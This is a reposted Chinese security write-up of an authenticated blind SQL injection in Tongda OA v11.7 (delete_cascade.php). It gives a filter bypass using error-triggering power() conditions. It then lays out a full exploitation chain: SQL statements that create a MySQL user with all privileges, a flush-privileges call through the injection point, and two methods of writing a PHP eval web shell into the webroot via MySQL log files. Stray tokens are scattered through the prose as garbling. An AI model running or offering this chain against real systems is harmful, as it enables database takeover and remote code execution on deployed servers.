Author: AdminTonyphp
1.测试环境
测试版本:通达OA v11.7版本css
限制条件:须要帐号登陆mysql
2.代码审计发现注入
注入出如今general/hr/manage/query/delete_cascade.php
文件中,代码实现以下:web
首先判断$condition_cascade
是否为空,若是不为空,则将其中的\'
替换为'
。为何要这样替换呢,主要是由于V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes
函数进行保护,以下:sql
inc/common.inc.php
代码shell
由于是无回显机制,是盲注,因此尝试(select 1 from (select sleep(5))a)
,结果没那么简单:数据库
触发了通达OA的过滤机制,翻看代码,在inc/conn.php
文件中找到过滤机制以下:api
其过滤了一些字符,可是并不是没法绕过,盲注的核心是:substr、if
等函数,均未被过滤,因此仍是有机会的。安全
传入错误的SQL语句时,页面出错:微信
那么只要构造MySQL报错便可配合if
函数进行盲注了,翻看局外人师傅在补天白帽大会上的分享,发现power(9999,99)
也可使数据库报错,因此构造语句:
select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错
3.构造利用链
添加用户:
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
而后该用户是对mysql数据库拥有全部权限的,而后给本身加权限:
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));
而后用注入点刷新权限,由于该用户是没有刷新权限的权限的:general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;
这样就拥有了全部权限。再次登陆:
提示这个,或者让改密码死活改不了。再执行一下
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@1
23' WITH GRANT OPTION
便可。
写shell:
# 查路径:select @@basedir; # c:\td0a117\mysql5\,那么web目录就是c:\td0a117\webroot\# 方法1:set global slow_query_log=on;set global slow_query_log_file='C:/td0a117/webroot/tony.php';select '<?php eval($_POST[x]);?>' or sleep(11);# 方法2:set global general_log = on;set global general_log_file = 'C:/td0a117/webroot/tony2.php';select '<?php eval($_POST[x]);?>';show variables like '%general%';
怕什么真理无穷,进一寸有进一寸的欢喜
本文分享自微信公众号 - 一个安全研究员(sec_tntaxin)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。